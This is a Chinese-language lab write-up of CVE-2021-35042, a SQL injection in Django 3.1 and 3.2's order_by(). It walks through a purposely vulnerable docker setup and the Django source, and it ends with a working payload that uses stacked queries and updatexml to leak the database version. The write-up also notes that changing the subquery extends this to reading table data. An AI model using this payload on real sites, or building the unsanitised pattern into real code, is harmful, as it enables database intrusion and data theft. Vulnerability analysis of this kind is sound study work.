CVE-2021-35042
CVE-2021-35042
漏洞介紹
Django 是 Python 語言驅動的一個開源模型-視圖-控制器(MVC)風格的 Web 應用程式框架。
漏洞影響版本:django 3.1、3.2
2021年07月01日,Django 發布了3.2.5 和 3.1.13版本,修復了Django中的一個SQL注入漏洞(CVE-2021-35042),Django建議用戶儘快升級。
由於傳遞給QuerySet.order_by()的用戶輸入未經處理,攻擊者可以利用這繞過標記為棄用的路徑中的預期列引用驗證,從而導致SQL注入。
搭建環境
這裡我們使用docker搭建環境
docker-compose.yml 中 ports下面- “映射到物理機的埠:docker容器的埠” ,映射到物理機的埠默認為8000,如果有本機其他埠有衝突可以手動修改。
啟動環境
docker-compose up -d
django源碼分析
url.py
可以理解為url路由
from django.urls import include, path, re_path
from . import views
urlpatterns = [
path('vuln/', views.vul), # 如果請求//ip:port/vuln/ 就會交給views.py中的vul函數進行處理
]
views.py
處理對應http請求的函數
from django.shortcuts import HttpResponse
from .models import Collection
def vul(request):
query = request.GET.get('order', default='id') #獲取url中的order的值,如果取不到默認將"id"賦值給query
q = Collection.objects.order_by(query) # 資料庫查詢操作
return HttpResponse(q.values()) # 將返回的數據作為響應體返回
models.py
from django.db import models
class Collection(models.Model):
name = models.CharField(max_length=128)
這裡出漏洞的位置是Collection.objects.order_by,這裡在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我們使用pycharm下載3.1版本的django。
上面views.py中的Collection.objects.order_by 我們ctrl點擊order_by查看django源碼
問題點在1134行的obj.query.add_ordering(*field_names)這裡傳入的參數也就是上面views.py的query
django\db\models\sql\query.py
def add_ordering(self, *ordering):
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item: # 如果包含.來個警告直接continue 繞過了安全驗證
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?': # 如果item完全等於?也繞過了安全驗證,但是無法利用
continue
if item.startswith('-'): # 如果以-開頭對item進行處理,無法漏洞利用
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 對參數進行安全驗證
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
最方便的還是傳入的參數中包含”.”這樣就可以直接繞過安全驗證直接去sql字元串拼接
sql語句拼接的位置
django\db\models\sql\compiler.py
django\db\models\sql\compiler.py—>class SQLCompiler—->def get_order_by(self)
這裡便利上面傳下來的ordering ,這裡有一個判斷條件如果.在field中col沒有經過處理直接丟進去了
現在其實就成了 select xxx from xxxx xxxxx orderby (這裡可控);
漏洞復現
//ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
經過處理後就變成了下面的sql語句
select xxx from xxxx xxxxx orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
接著查看錶查看數據什麼的 修改 “select @@version”這一部分即可